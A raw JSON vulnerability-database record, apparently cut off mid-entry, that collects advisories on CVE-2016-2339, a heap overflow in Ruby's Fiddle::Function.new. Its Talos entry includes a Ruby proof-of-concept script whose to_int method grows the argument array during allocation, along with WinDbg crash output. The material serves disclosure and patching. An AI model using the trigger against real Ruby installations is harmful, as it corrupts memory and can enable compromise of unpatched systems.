An exploitable heap overflow vulnerability exists in the Fiddle::Function.new "initialize" function functionality of Ruby. In Fiddle::Function.new "initialize" heap buffer "arg_types" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.
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In\nFiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is\nmade based on args array length. Specially constructed object passed as\nelement of args array can increase this array size after mentioned\nallocation and cause heap overflow.\n\n#### Bugs\n\n * <https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=851161>\n\n\n#### Notes\n\nAuthor| Note \n---|--- \n[mdeslaur](<https://launchpad.net/~mdeslaur>) | 2.3.0 and later not affected\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-01-06T00:00:00", "type": "ubuntucve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2017-01-06T00:00:00", "id": "UB:CVE-2016-2339", "href": "https://ubuntu.com/security/CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "talos": [{"lastseen": "2023-06-03T15:23:57", "description": "# Talos Vulnerability Report\n\n### TALOS-2016-0034\n\n## Ruby Fiddle::Function.new Heap Overflow Vulnerability\n\n##### June 14, 2016\n\n##### CVE Number\n\nCVE-2016-2339\n\n### DESCRIPTION\n\nAn exploitable heap overflow vulnerability exists in the Fiddle::Function.new \u201cinitialize\u201d function functionality of Ruby. In Fiddle::Function.new \u201cinitialize\u201d heap buffer \u201carg_types\u201d allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\n\n### TESTED VERSIONS\n\nRuby 2.3.0 dev Ruby 2.2.2\n\n### PRODUCT URLs\n\nhttps://www.ruby-lang.org\n\n### DETAILS\n \n \n Line 86 \tstatic VALUE\n Line 87 \tinitialize(int argc, VALUE argv[], VALUE self)\n Line 88 \t{\n Line 89 \t\tffi_cif * cif;\n Line 90 \t\tffi_type **arg_types;\n Line 91 \t\tffi_status result;\n Line 92 \t\tVALUE ptr, args, ret_type, abi, kwds;\n Line 93 \t\tint i;\n Line 94 \n Line 95 \t\trb_scan_args(argc, argv, \"31:\", &ptr, &args, &ret_type, &abi, \n &kwds);\n Line 96 \t\tif(NIL_P(abi)) abi = INT2NUM(FFI_DEFAULT_ABI);\n Line 97 \n Line 98 \t\tCheck_Type(args, T_ARRAY);\n Line 99 \t\tCheck_Max_Args(\"args\", RARRAY_LENINT(args));\n \t\n \t\t\t(...)\n \t\n Line 110\t\targ_types = xcalloc(RARRAY_LEN(args) + 1, sizeof(ffi_type *));\n Line 111\n Line 112\t\tfor (i = 0; i < RARRAY_LEN(args); i++) {\n Line 113\t\t\tint type = NUM2INT(RARRAY_PTR(args)[i]);\n Line 114\t\t\targ_types[i] = INT2FFI_TYPE(type);\n Line 115\t\t}\n Line 116\t\targ_types[RARRAY_LEN(args)] = NULL;\n \n\nIn Line 110 based on length of passed by user args array, xcalloc allocates buffer for ffi_type structures. Later in for loop we see that each element from this array is first converted to int and later to ffi_type structure. Results of this conversions are stored in previous allocated array \u201carg_types\u201d. Exploiting knowledge that in Line 113 NUM2INT for non Integer object will call \u201cto_int\u201d method we can create properly constructed object which will implement this method and it\u2019s responsible will be to increase size of args array. Increased size of args array inside for loop just after space allocation for arg_types will cause during next iteration heap overflow in Line 114 and later in Line 116 during storing another ffi_type structures.\n\n### POC\n \n \n require 'fiddle'\n \n $args = []\n class MyObject\t\n def to_int\n \t puts \"increase size of array\"\n \t (1..10).map{|x| $args.push(1)}\n \t puts \"New args array size is : #{$args.length}\"\t\t\n \t return 1\n end\n end\n puts \"Start\"\n x = MyObject.new\n $args.push(x)\n puts \"args array size : #{$args.length}\"\n f = Fiddle::Function.new(nil, $args, Fiddle::TYPE_VOIDP)\n \n\n### CRASH ANALYSIS\n \n \n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=00000000 ebx=00000000 ecx=bf8d0000 edx=0008e3c8 esi=fffffffe edi=00000000\n eip=77b612fb esp=0028fb08 ebp=0028fb34 iopl=0 nv up ei pl zr na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\n ntdll!LdrpDoDebuggerBreak+0x2c:\n 77b612fb cc int 3\n 0:000> bu fiddle!Init_fiddle\n 0:000> g\n ModLoad: 75dc0000 75e20000 C:\\Windows\\SysWOW64\\IMM32.DLL\n ModLoad: 75ce0000 75dac000 C:\\Windows\\syswow64\\MSCTF.dll\n ModLoad: 72b10000 72b3b000 C:\\Windows\\SysWOW64\\nvinit.dll\n ModLoad: 72b00000 72b09000 C:\\Windows\\SysWOW64\\VERSION.dll\n ModLoad: 0f000000 0f006000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\detoured.dll\n ModLoad: 6e480000 6e4a9000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\nvd3d9wrap.dll\n ModLoad: 76740000 768dd000 C:\\Windows\\syswow64\\SETUPAPI.dll\n ModLoad: 765a0000 765c7000 C:\\Windows\\syswow64\\CFGMGR32.dll\n ModLoad: 762c0000 7634f000 C:\\Windows\\syswow64\\OLEAUT32.dll\n ModLoad: 76440000 7659c000 C:\\Windows\\syswow64\\ole32.dll\n ModLoad: 75490000 754a2000 C:\\Windows\\syswow64\\DEVOBJ.dll\n ModLoad: 6e460000 6e47e000 C:\\Program Files (x86)\\NVIDIA \n Corporation\\CoProcManager\\nvdxgiwrap.dll\n ModLoad: 72a90000 72aa7000 C:\\Windows\\SysWOW64\\CRYPTSP.dll\n ModLoad: 72a50000 72a8b000 C:\\Windows\\SysWOW64\\rsaenh.dll\n ModLoad: 71280000 7128c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\encdb.so\n ModLoad: 6dd40000 6dd4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386- \n mingw32\\enc\\trans\\transdb.so\n ModLoad: 6fbc0000 6fbcb000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\iso_8859_2.so\n ModLoad: 70b40000 70b4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\thread.so\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so -\n ModLoad: 70a40000 70a50000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so\n ModLoad: 6b740000 6b76a000 C:\\Ruby22\\bin\\libffi-6.dll\n Breakpoint 0 hit\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\bin\\msvcrt-ruby220.dll -\n eax=70a42270 ebx=70a4b068 ecx=70a40000 edx=70a40000 esi=70a4b4ed edi=64105061\n eip=70a42270 esp=0028ee5c ebp=0028f2d8 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n fiddle!Init_fiddle:\n 70a42270 55 push ebp\n 0:000> bp 70A42ADD \".printf \\\" xcalloc( 0x%x )\\\",edx;.echo;g \"\n 0:000> bp 70A42AE2 \".printf \\\"arg_types addr : 0x%x\\\",eax;.echo\"\n 0:000> g\n \n Start\n args array size : 1\n xcalloc( 0x2 )\n arg_types addr : 0x2b81b50\n \n eax=02b81b50 ebx=00000000 ecx=75e2f489 edx=00000018 esi=00000003 edi=0035003c\n eip=70a42ae2 esp=0028f7a0 ebp=0028f808 iopl=0 nv up ei pl nz na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\n fiddle!Init_fiddle+0x872:\n 70a42ae2 89c7 mov edi,eax\n 0:000> !heap -p -a 0x2b81b50\n address 02b81b50 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b48 0004 0000 [00] 02b81b50 00008 - (busy)\n \n \n 0:000> !heap -p -a 02b81b48+20 \n address 02b81b68 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b68 0290 0000 [00] 02b81b70 01478 - (free)\n \n \n 0:000> dd 02b81b48+20\n 02b81b68 fad1ca73 000ae511 005100c4 00514668\n 02b81b78 feeefeee feeefeee feeefeee feeefeee\n 02b81b88 feeefeee feeefeee feeefeee feeefeee\n 02b81b98 feeefeee feeefeee feeefeee feeefeee\n 02b81ba8 feeefeee feeefeee feeefeee feeefeee\n 02b81bb8 feeefeee feeefeee feeefeee feeefeee\n 02b81bc8 feeefeee feeefeee feeefeee feeefeee\n 02b81bd8 feeefeee feeefeee feeefeee feeefeee\n 0:000> g\n \n increase size of array\n New args array size is : 11\n \n HEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f969 esi=02b81b48 edi=00000008\n eip=77b9087c esp=0028fbb0 ebp=0028fbb0 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> !heap -p -a 02b81b48+20\n address 02b81b68 found in\n _HEAP @ 510000\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\n 02b81b68 b8ab 0000 [00] 02b81b70 4c66a - (busy)\n *** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \n \\Ruby22\\bin\\libffi-6.dll -\n libffi_6!ffi_type_pointer\n \n \n 0:000> !heap -x 02b81b48+20\n ERROR: Block 02b81b68 previous size 955d does not match previous block size 4\n HEAP 00510000 (Seg 02af0000) At 02b81b68 Error: invalid block Previous\n \n 0:000> dd 02b81b48+20\n 02b81b68 6b747048 6b747048 6b747048 6b747048\n 02b81b78 6b747048 00000000 00000003 00000003\n 02b81b88 00000003 00000003 00000003 00000003\n 02b81b98 00000003 baadf00d baadf00d baadf00d\n 02b81ba8 baadf00d baadf00d baadf00d baadf00d\n 02b81bb8 baadf00d baadf00d abababab abababab\n 02b81bc8 00000000 00000000 66d2c8ee 180ae518\n 02b81bd8 02b6c4d0 02b6c4d0 02b6c4d0 02b6c4d0\n 0:000> g\n HEAP[ruby.exe]: Invalid address specified to RtlSizeHeap( 00510000, 02B81B50 )\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f985 esi=00510000 edi=02b81b50\n eip=77b9087c esp=0028fbcc ebp=0028fbcc iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n HEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f871 esi=02b81b48 edi=00000008\n eip=77b9087c esp=0028fab8 ebp=0028fab8 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n HEAP[ruby.exe]: Invalid address specified to RtlFreeHeap( 00510000, 02B81B50 )\n (15dc.16b8): Break instruction exception - code 80000003 (first chance)\n eax=02b81b48 ebx=02b81b48 ecx=77b2f861 edx=0028f88d esi=00510000 edi=00510000\n eip=77b9087c esp=0028fad4 ebp=0028fad4 iopl=0 nv up ei pl nz na po nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\n ntdll!RtlpBreakPointHeap+0x23:\n 77b9087c cc int 3\n 0:000> g\n eax=00000000 ebx=00000000 ecx=0028f88c edx=0028f88d esi=77bc2100 edi=77bc20c0\n eip=77adfd0e esp=0028fe40 ebp=0028fe5c iopl=0 nv up ei pl zr na pe nc\n cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\n ntdll!ZwTerminateProcess+0x12:\n 77adfd0e 83c404 add esp,4\n 0:000>\n \n\n### TIMELINE\n\n2015-06-11 - Initial Discovery \n2015-06-30 - Vendor Notification \n2016-06-14 - Public Disclosure \n\n\n##### Credit\n\nDiscovered by Marcin \u2018Icewall\u2019 Noga of Cisco Talos\n\n* * *\n\nVulnerability Reports Next Report\n\nTALOS-2016-0152\n\nPrevious Report\n\nTALOS-2016-0033\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2016-06-14T00:00:00", "type": "talos", "title": "Ruby Fiddle::Function.new Heap Overflow Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2016-06-14T00:00:00", "id": "TALOS-2016-0034", "href": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0034", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2021-12-14T17:52:31", "description": "An exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2017-01-06T21:59:00", "type": "debiancve", "title": "CVE-2016-2339", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": true, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-2339"], "modified": "2017-01-06T21:59:00", "id": "DEBIANCVE:CVE-2016-2339", "href": "https://security-tracker.debian.org/tracker/CVE-2016-2339", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "suse": [{"lastseen": "2017-04-03T19:17:43", "description": "This update for ruby19 fixes the following issues:\n\n Security issue fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (bsc#1018808)\n\n Bugfixes:\n - fix small mistake in the backport for (bsc#986630)\n - HTTP Header injection in 'net/http' (bsc#986630)\n - make the testsuite work with our new openssl requirements\n\n", "cvss3": {}, "published": "2017-04-03T21:09:44", "type": "suse", "title": "Security update for ruby19 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-2339"], "modified": "2017-04-03T21:09:44", "id": "SUSE-SU-2017:0914-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00006.html", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:LOW/I:LOW/A:LOW/"}}, {"lastseen": "2017-04-05T13:17:48", "description": "This update for ruby2.2, ruby2.3 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (boo#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (boo#959495)\n\n Detailed ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_2_6/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_2_6/ChangeLog</a>\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_3_3/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_3_3/ChangeLog</a>\n\n", "cvss3": {}, "published": "2017-04-05T15:08:17", "type": "suse", "title": "Security update for ruby2.2, ruby2.3 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2016-2339", "CVE-2015-7551"], "modified": "2017-04-05T15:08:17", "id": "OPENSUSE-SU-2017:0933-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00007.html", "cvss": {"score": 6.4, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:LOW/I:LOW/A:LOW/"}}, {"lastseen": "2017-04-28T17:19:07", "description": "This ruby2.1 update to version 2.1.9 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (bsc#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (bsc#959495)\n - CVE-2015-3900: hostname validation does not work when fetching gems or\n making API requests (bsc#936032)\n - CVE-2015-1855: Ruby'a OpenSSL extension suffers a vulnerability through\n overly permissive matching of hostnames (bsc#926974)\n - CVE-2014-4975: off-by-one stack-based buffer overflow in the encodes()\n function (bsc#887877)\n\n Bugfixes:\n - SUSEconnect doesn't handle domain wildcards in no_proxy environment\n variable properly (bsc#1014863)\n - Segmentation fault after pack & ioctl & unpack (bsc#909695)\n - Ruby:HTTP Header injection in 'net/http' (bsc#986630)\n\n ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog</a>\n\n This update was imported from the SUSE:SLE-12:Update update project.\n\n", "cvss3": {}, "published": "2017-04-28T18:11:28", "type": "suse", "title": "Security update for ruby2.1 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2015-3900", "CVE-2015-1855", "CVE-2016-2339", "CVE-2015-7551", "CVE-2014-4975"], "modified": "2017-04-28T18:11:28", "id": "OPENSUSE-SU-2017:1128-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00034.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2017-04-20T11:18:41", "description": "This ruby2.1 update to version 2.1.9 fixes the following issues:\n\n Security issues fixed:\n - CVE-2016-2339: heap overflow vulnerability in the\n Fiddle::Function.new"initialize" (bsc#1018808)\n - CVE-2015-7551: Unsafe tainted string usage in Fiddle and DL (bsc#959495)\n - CVE-2015-3900: hostname validation does not work when fetching gems or\n making API requests (bsc#936032)\n - CVE-2015-1855: Ruby'a OpenSSL extension suffers a vulnerability through\n overly permissive matching of hostnames (bsc#926974)\n - CVE-2014-4975: off-by-one stack-based buffer overflow in the encodes()\n function (bsc#887877)\n\n Bugfixes:\n - SUSEconnect doesn't handle domain wildcards in no_proxy environment\n variable properly (bsc#1014863)\n - Segmentation fault after pack & ioctl & unpack (bsc#909695)\n - Ruby:HTTP Header injection in 'net/http' (bsc#986630)\n\n ChangeLog:\n - <a rel=\"nofollow\" href=\"http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog\">http://svn.ruby-lang.org/repos/ruby/tags/v2_1_9/ChangeLog</a>\n\n", "cvss3": {}, "published": "2017-04-20T12:08:57", "type": "suse", "title": "Security update for ruby2.1 (important)", "bulletinFamily": "unix", "cvss2": {}, "cvelist": ["CVE-2015-3900", "CVE-2015-1855", "CVE-2016-2339", "CVE-2015-7551", "CVE-2014-4975"], "modified": "2017-04-20T12:08:57", "id": "SUSE-SU-2017:1067-1", "href": "http://lists.opensuse.org/opensuse-security-announce/2017-04/msg00024.html", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "seebug": [{"lastseen": "2017-11-19T11:56:06", "description": "### DESCRIPTION\r\nAn exploitable heap overflow vulnerability exists in the Fiddle::Function.new \"initialize\" function functionality of Ruby. In Fiddle::Function.new \"initialize\" heap buffer \"arg_types\" allocation is made based on args array length. Specially constructed object passed as element of args array can increase this array size after mentioned allocation and cause heap overflow.\r\n\r\n### TESTED VERSIONS\r\nRuby 2.3.0 dev Ruby 2.2.2\r\n\r\n### PRODUCT URLs\r\nhttps://www.ruby-lang.org\r\n\r\n### DETAILS\r\n```\r\nLine 86 static VALUE\r\nLine 87 initialize(int argc, VALUE argv[], VALUE self)\r\nLine 88 {\r\nLine 89 ffi_cif * cif;\r\nLine 90 ffi_type **arg_types;\r\nLine 91 ffi_status result;\r\nLine 92 VALUE ptr, args, ret_type, abi, kwds;\r\nLine 93 int i;\r\nLine 94 \r\nLine 95 rb_scan_args(argc, argv, \"31:\", &ptr, &args, &ret_type, &abi, \r\n&kwds);\r\nLine 96 if(NIL_P(abi)) abi = INT2NUM(FFI_DEFAULT_ABI);\r\nLine 97 \r\nLine 98 Check_Type(args, T_ARRAY);\r\nLine 99 Check_Max_Args(\"args\", RARRAY_LENINT(args));\r\n\r\n (...)\r\n\r\nLine 110 arg_types = xcalloc(RARRAY_LEN(args) + 1, sizeof(ffi_type *));\r\nLine 111\r\nLine 112 for (i = 0; i < RARRAY_LEN(args); i++) {\r\nLine 113 int type = NUM2INT(RARRAY_PTR(args)[i]);\r\nLine 114 arg_types[i] = INT2FFI_TYPE(type);\r\nLine 115 }\r\nLine 116 arg_types[RARRAY_LEN(args)] = NULL;\r\n```\r\n\r\nIn Line 110 based on length of passed by user args array, xcalloc allocates buffer for ffitype structures. Later in for loop we see that each element from this array is first converted to int and later to ffitype structure. Results of this conversions are stored in previous allocated array \"arg_types\".\r\n```\r\nExploiting knowledge that in Line 113 NUM2INT for non Integer object will call \"to_int\" method we can create properly constructed object which will \r\n```\r\n\r\nimplement this method and it's responsible will be to increase size of args array. Increased size of args array inside for loop just after space allocation for argtypes will cause during next iteration heap overflow in Line 114 and later in Line 116 during storing another ffitype structures.\r\n\r\n### CRASH ANALYSIS\r\n```\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=00000000 ebx=00000000 ecx=bf8d0000 edx=0008e3c8 esi=fffffffe edi=00000000\r\neip=77b612fb esp=0028fb08 ebp=0028fb34 iopl=0 nv up ei pl zr na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246\r\nntdll!LdrpDoDebuggerBreak+0x2c:\r\n77b612fb cc int 3\r\n0:000> bu fiddle!Init_fiddle\r\n0:000> g\r\nModLoad: 75dc0000 75e20000 C:\\Windows\\SysWOW64\\IMM32.DLL\r\nModLoad: 75ce0000 75dac000 C:\\Windows\\syswow64\\MSCTF.dll\r\nModLoad: 72b10000 72b3b000 C:\\Windows\\SysWOW64\\nvinit.dll\r\nModLoad: 72b00000 72b09000 C:\\Windows\\SysWOW64\\VERSION.dll\r\nModLoad: 0f000000 0f006000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\detoured.dll\r\nModLoad: 6e480000 6e4a9000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\nvd3d9wrap.dll\r\nModLoad: 76740000 768dd000 C:\\Windows\\syswow64\\SETUPAPI.dll\r\nModLoad: 765a0000 765c7000 C:\\Windows\\syswow64\\CFGMGR32.dll\r\nModLoad: 762c0000 7634f000 C:\\Windows\\syswow64\\OLEAUT32.dll\r\nModLoad: 76440000 7659c000 C:\\Windows\\syswow64\\ole32.dll\r\nModLoad: 75490000 754a2000 C:\\Windows\\syswow64\\DEVOBJ.dll\r\nModLoad: 6e460000 6e47e000 C:\\Program Files (x86)\\NVIDIA \r\nCorporation\\CoProcManager\\nvdxgiwrap.dll\r\nModLoad: 72a90000 72aa7000 C:\\Windows\\SysWOW64\\CRYPTSP.dll\r\nModLoad: 72a50000 72a8b000 C:\\Windows\\SysWOW64\\rsaenh.dll\r\nModLoad: 71280000 7128c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\encdb.so\r\nModLoad: 6dd40000 6dd4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386- \r\nmingw32\\enc\\trans\\transdb.so\r\nModLoad: 6fbc0000 6fbcb000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\enc\\iso_8859_2.so\r\nModLoad: 70b40000 70b4c000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\thread.so\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so -\r\nModLoad: 70a40000 70a50000 C:\\Ruby22\\lib\\ruby\\2.2.0\\i386-mingw32\\fiddle.so\r\nModLoad: 6b740000 6b76a000 C:\\Ruby22\\bin\\libffi-6.dll\r\nBreakpoint 0 hit\r\n*** ERROR: Symbol file could not be found. Defaulted to export symbols for C: \r\n\\Ruby22\\bin\\msvcrt-ruby220.dll -\r\neax=70a42270 ebx=70a4b068 ecx=70a40000 edx=70a40000 esi=70a4b4ed edi=64105061\r\neip=70a42270 esp=0028ee5c ebp=0028f2d8 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202\r\nfiddle!Init_fiddle:\r\n70a42270 55 push ebp\r\n0:000> bp 70A42ADD \".printf \\\" xcalloc( 0x%x )\\\",edx;.echo;g \"\r\n0:000> bp 70A42AE2 \".printf \\\"arg_types addr : 0x%x\\\",eax;.echo\"\r\n0:000> g\r\n\r\nStart\r\nargs array size : 1\r\n xcalloc( 0x2 )\r\narg_types addr : 0x2b81b50\r\n\r\neax=02b81b50 ebx=00000000 ecx=75e2f489 edx=00000018 esi=00000003 edi=0035003c\r\neip=70a42ae2 esp=0028f7a0 ebp=0028f808 iopl=0 nv up ei pl nz na pe nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206\r\nfiddle!Init_fiddle+0x872:\r\n70a42ae2 89c7 mov edi,eax\r\n0:000> !heap -p -a 0x2b81b50\r\n address 02b81b50 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b48 0004 0000 [00] 02b81b50 00008 - (busy)\r\n\r\n\r\n0:000> !heap -p -a 02b81b48+20 \r\n address 02b81b68 found in\r\n _HEAP @ 510000\r\n HEAP_ENTRY Size Prev Flags UserPtr UserSize - state\r\n 02b81b68 0290 0000 [00] 02b81b70 01478 - (free)\r\n\r\n\r\n0:000> dd 02b81b48+20\r\n02b81b68 fad1ca73 000ae511 005100c4 00514668\r\n02b81b78 feeefeee feeefeee feeefeee feeefeee\r\n02b81b88 feeefeee feeefeee feeefeee feeefeee\r\n02b81b98 feeefeee feeefeee feeefeee feeefeee\r\n02b81ba8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bb8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bc8 feeefeee feeefeee feeefeee feeefeee\r\n02b81bd8 feeefeee feeefeee feeefeee feeefeee\r\n0:000> g\r\n\r\nincrease size of array\r\nNew args array size is : 11\r\n\r\nHEAP[ruby.exe]: Heap block at 02B81B48 modified at 02B81B58 past requested size of 8\r\n(15dc.16b8): Break instruction exception - code 80000003 (first chance)\r\neax=02b81b48 ebx=02b81b58 ecx=77b2f861 edx=0028f969 esi=02b81b48 edi=00000008\r\neip=77b9087c esp=0028fbb0 ebp=0028fbb0 iopl=0 nv up ei pl nz na po nc\r\ncs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b 